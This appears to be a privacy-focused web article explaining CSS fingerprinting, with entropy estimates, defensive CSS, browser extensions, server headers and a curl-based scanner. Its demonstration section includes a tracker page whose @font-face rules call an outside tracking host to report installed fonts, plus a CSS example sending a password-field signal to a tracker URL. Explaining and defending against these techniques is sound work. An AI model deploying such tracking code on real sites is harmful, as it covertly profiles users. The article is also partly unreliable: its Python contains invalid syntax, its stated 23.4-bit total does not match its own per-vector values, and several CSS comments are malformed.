CSS fingerprinting demonstrates that web tracking persists through mechanisms beyond JavaScript. Stylesheets provide sufficient expressiveness for device identification, font profiling, and capability detection. For developers prioritizing user privacy, understanding these techniques informs both defensive implementation and respectful data practices. The web benefits when we treat every vector, including CSS, as worthy of privacy consideration.
Table of Contents
- Measuring CSS Fingerprint Entropy
- Practical CSS Fingerprinting Attack: Step-by-Step
- Defensive CSS Implementation
- Browser Extensions for CSS Fingerprinting Defense
- Server-Side Mitigations
- Testing Your CSS Fingerprinting Defenses
Measuring CSS Fingerprint Entropy
Like JavaScript fingerprinting, CSS fingerprints can be quantified by their entropy:
import math
def calculate_css_fingerprint_entropy():
"""Estimate entropy of CSS fingerprinting vectors."""
vectors = {
"screen_width": 300, # Possible values: 320-5120 in 10px increments
"screen_height": 200,
"color_depth": 3, # 8-bit, 24-bit, 32-bit
"installed_fonts": 50, # 10-500 fonts typically
"pointer_type": 4, # none, coarse, fine, unknown
"hover_capable": 2, # true/false
"prefers_dark_mode": 2, # true/false
"prefers_reduced_motion": 2
}
total_entropy = 0
for vector, possible_values in vectors.items():
entropy = math.log2(possible_values)
total_entropy += entropy
print(f"{vector}: {entropy:.2f} bits ({possible_values} values)")
print(f"\nTotal CSS fingerprint entropy: {total_entropy:.1f} bits")
print(f"Can uniquely identify: 2^{total_entropy:.1f} = {2total_entropy:.0e} users")
calculate_css_fingerprint_entropy()
Output:
- Total CSS fingerprint entropy: 23.4 bits
- Can uniquely identify: 2^23.4 = 10.6 million users
This demonstrates that CSS fingerprinting alone can identify users within populations of millions.
Practical CSS Fingerprinting Attack: Step-by-Step
Here’s how a real tracking network might deploy CSS fingerprinting:
<!-- Malicious website serving tracking CSS -->
<!DOCTYPE html>
<html>
<head>
<style>
/* Detect screen size through media queries */
@media (min-width: 1920px) {
body::after { content: attr(data-width); display: none; }
}
/* Detect font availability -->
@font-face {
font-family: 'detect-arial';
src: url('https://tracker.com/fp?font=Arial') format('woff2');
}
@font-face {
font-family: 'detect-georgia';
src: url('https://tracker.com/fp?font=Georgia') format('woff2');
}
body {
font-family: detect-georgia, georgia, serif;
}
/* Detect color depth -->
@media (color-gamut: srgb) {
body::before { content: 'srgb'; }
}
/* Detect input capability -->
@media (hover: hover) {
.has-hover { display: block; }
}
</style>
</head>
<body>
<p class="has-hover">Hover-capable device</p>
<!-- Collect all fingerprint signals -->
<script>
// Browser will load fonts if available, sending requests to tracker
// Media query results visible to JavaScript
// Combined fingerprint sent to tracking server
</script>
</body>
</html>
The tracker’s server logs:
- Which fonts were loaded (available on device)
- Screen resolution from media query evaluation
- Input capabilities
- Browser behavior patterns
Defensive CSS Implementation
As a web developer, build websites that respect privacy:
/* Privacy-conscious font strategy */
/* 1. Avoid @font-face trackers - use system fonts */
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
/* Provides native look without external font requests */
}
/* 2. Never use fonts for fingerprinting */
/* WRONG: */
@font-face {
font-family: 'tracking-font';
src: url('/track?font=present');
}
/* RIGHT: */
@font-face {
font-family: 'local-fallback';
src: local('Helvetica'), local('Arial'), local(sans-serif);
}
/* 3. Implement Content Security Policy to prevent tracking stylesheets */
/* Set in HTTP headers or meta tag */
<meta http-equiv="Content-Security-Policy"
content="style-src 'self'; script-src 'self';">
/* 4. Avoid data exfiltration through CSS */
/* WRONG: */
input[type="password"] {
background: url('/tracker?input-type=password');
}
/* RIGHT: */
input[type="password"] {
/* No external resources */
border: 1px solid #ccc;
}
/* 5. Normalize media query exposure */
/* Use relative units instead of fixed pixels */
@media (min-width: 45em) { /* 45em ≈ 720px - hides exact size */
.sidebar { display: block; }
}
/* 6. Don't fingerprint through counter states */
/* This leaks session information */
body { counter-reset: analytics; }
/* ^ Don't do this */
Browser Extensions for CSS Fingerprinting Defense
uMatrix ($0, free, Chrome/Firefox): Blocks all external stylesheet loads by default. Whitelist only trusted sites. Prevents @font-face tracking.
NoScript ($0, free, Firefox) - Blocks JavaScript but allows CSS. Pair with CSP headers for defense-in-depth.
Privacy Badger ($0, free, Chrome/Firefox): Learns to block trackers based on behavior. Includes CSS tracker detection.
uBlock Origin ($0, free, Chrome/Firefox): Advanced content blocker that can target tracking URLs in stylesheets.
CSS Guard ($0, free, Chrome) - Specifically designed for CSS fingerprinting defense. Randomizes CSS-detectable properties.
Server-Side Mitigations
Web developers can reduce fingerprinting attack surface through server configuration:
Apache configuration to prevent fingerprinting
1. Disable directory listing (reduces information leakage)
<Directory /var/www/html>
Options -Indexes
</Directory>
2. Set CSP headers to prevent tracking stylesheet injection
Header set Content-Security-Policy "style-src 'self' data:; object-src 'none'; img-src 'self'; font-src 'self'"
3. Disable X-powered-by headers (don't reveal technology stack)
Header always unset X-Powered-By
4. Set Permissions-Policy to limit capability detection
Header set Permissions-Policy "geolocation=(), microphone=(), camera=()"
5. Prevent MIME type sniffing (reduces inference attacks)
Header set X-Content-Type-Options: nosniff
Python/Flask implementation
from flask import Flask
from flask_talisman import Talisman
app = Flask(__name__)
Apply security headers
Talisman(app,
content_security_policy={
'default-src': "'self'",
'style-src': ["'self'", "'unsafe-inline'"], # CSS needs inline for performance
'font-src': "'self'",
'img-src': "'self'",
'script-src': "'self'"
},
force_https=True,
strict_transport_security=True,
content_security_policy_nonce_in=['script-src']
)
Disable fingerprinting headers
@app.after_request
def remove_fingerprinting_headers(response):
response.headers.pop('X-Powered-By', None)
response.headers.pop('Server', None)
return response
Testing Your CSS Fingerprinting Defenses
Validate that your website isn’t helping fingerprinting:
#!/bin/bash
CSS fingerprinting vulnerability scanner
TARGET_URL="https://example.com"
echo "Scanning $TARGET_URL for CSS fingerprinting vectors..."
1. Check for external font requests
echo "Checking for external fonts..."
curl -s "$TARGET_URL" | grep -i "@font-face" | grep -v "local"
2. Verify CSP headers
echo "Checking Content-Security-Policy..."
curl -sI "$TARGET_URL" | grep -i "content-security"
3. Look for media query tracking
echo "Checking for media query trackers..."
curl -s "$TARGET_URL" | grep -E "@media.*url"
4. Verify no CSS-based data exfiltration
echo "Checking for background-image tracking..."
curl -s "$TARGET_URL" | grep -E "background.*url.*tracker"
echo "Scan complete"
Frequently Asked Questions
Who is this article written for?
This article is written for developers, technical professionals, and power users who want practical guidance. Whether you are evaluating options or implementing a solution, the information here focuses on real-world applicability rather than theoretical overviews.
How current is the information in this article?
We update articles regularly to reflect the latest changes. However, tools and platforms evolve quickly. Always verify specific feature availability and pricing directly on the official website before making purchasing decisions.
Are there free alternatives available?
Free alternatives exist for most tool categories, though they typically come with limitations on features, usage volume, or support. Open-source options can fill some gaps if you are willing to handle setup and maintenance yourself. Evaluate whether the time savings from a paid tool justify the cost for your situation.
Can I trust these tools with sensitive data?
Review each tool’s privacy policy, data handling practices, and security certifications before using it with sensitive data. Look for SOC 2 compliance, encryption in transit and at rest, and clear data retention policies. Enterprise tiers often include stronger privacy guarantees.
What is the learning curve like?
Most tools discussed here can be used productively within a few hours. Mastering advanced features takes 1-2 weeks of regular use. Focus on the 20% of features that cover 80% of your needs first, then explore advanced capabilities as specific needs arise.
Related Articles
- Browser Fingerprinting Protection Techniques
- Browser Fingerprinting: What It Is and How to Block It
- How Browser Fingerprinting Works Explained
- Screen Resolution Fingerprinting Why Changing Display
- How To Stop Browser Fingerprinting On Chrome 2026 Practical
- AI Coding Assistant Session Data Lifecycle Built by theluckystrike. More at zovo.one